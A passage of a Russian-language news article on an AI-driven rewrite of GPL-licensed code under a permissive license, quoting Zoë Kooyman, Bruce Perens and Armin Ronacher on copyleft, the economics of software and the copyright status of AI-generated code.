раз. Для проекта, который активно используется во многих других проектах, данная оптимизация приведёт к заметному повышению производительности для миллионов пользователей (пакет загружается около 130 миллионов раз в месяц). Зои Койман (Zoë Kooyman), исполнительный директор Фонда свободного программного обеспечения, сообщила изданию The Register, что не может комментировать конкретные детали или законность проекта без проведения дополнительных исследований или консультаций с юристами, но нет ничего "чистого" в том, чтобы большая языковая модель (LLM) использовала код, который от неё требуют переписать. При этом Зои решила дать моральную оценку поступку Дэна: "Что касается смысла GPL, то пермиссивная лицензия технически всё ещё является лицензией свободного программного обеспечения, но подрыв копилефта - это серьёзный поступок. Отказ предоставить другим права, которые вы сами получили как пользователь, является крайне антисоциальным, независимо от используемого метода." Брюс Перенс (Bruce Perens), автор оригинального определения открытого исходного кода, считает, что воссоздание кода при помощи AI убивает экономику разработки программного обеспечения. По мнению Брюса, было бы правильным, если бы тренировка AI-моделей и весь выдаваемый моделями вывод изначально рассматривались как копирование, но в реальности сложилась иное отношение и его уже не переломить. Брюс считает, что грядут кардинальные изменения экономики и процессов, связанных с разработкой ПО, сравнимые с изменениями после изобретения печатного станка. Парадигмы открытого и проприетарного ПО полностью изменятся в условиях, когда за несколько дней при помощи AI можно сгенерировать готовый продукт, способный конкурировать с системами, на разработку которых потрачены десятки лет. Многие проприетарные компании, зависящие от сохранения закрытых разработок, которые можно легко клонировать, окажутся нежизнеспособны, и вероятно останутся только те, разработки которых проблематично воспроизвести. Армин Ронахер (Armin Ronacher), создатель фреймворка Flask, считает, что код, поставляемый под копилефт-лицензиями, подобными GPL, и раньше можно было переписать с нуля и начать распространять под другой лицензией. Разница лишь в том, переписан код вручную или автоматически при помощи AI. При этом пока не ясно, какой уровень участия человека требуется для того, чтобы код, созданный с помощью AI, подпадал под защиту авторского права. В этом, по мнению Армина, ключевой вопрос. Недавно Верховный суд США отказался пересмотреть дело "Талер против Перлмуттера", в котором истец пытался отменить решение нижестоящего суда, согласно которому он не мог защитить авторским правом изображение, созданное искусственным интеллектом. Верховный суд США оставил в силе решение суда нижней инстанции о том, что произведения, полностью созданные AI, не защищаются авторским правом. В связи с данным решением возникло опасение о возникновении проблем при использовании кода, сгенерированного через AI в открытых проектах. Не ясно, насколько активно должен использоваться AI при разработке, чтобы суд отказал в удовлетворении претензии на авторские права на код из‑за уменьшения вклада человека в разработку. Юридические последствия применения большой языковой модели для переработки как открытых, так и проприетарных проектов (у которых был похищен исходный код) трудно предсказуемы и сильно зависят от прецедентов, создаваемых судами. Тем не менее, если большая языковая модель переписывает код на язык программирования, отличный от оригинала, то доказать создание производной работы становится практически невозможно.
| ||
| Следующая страница (раньше) >> | ||
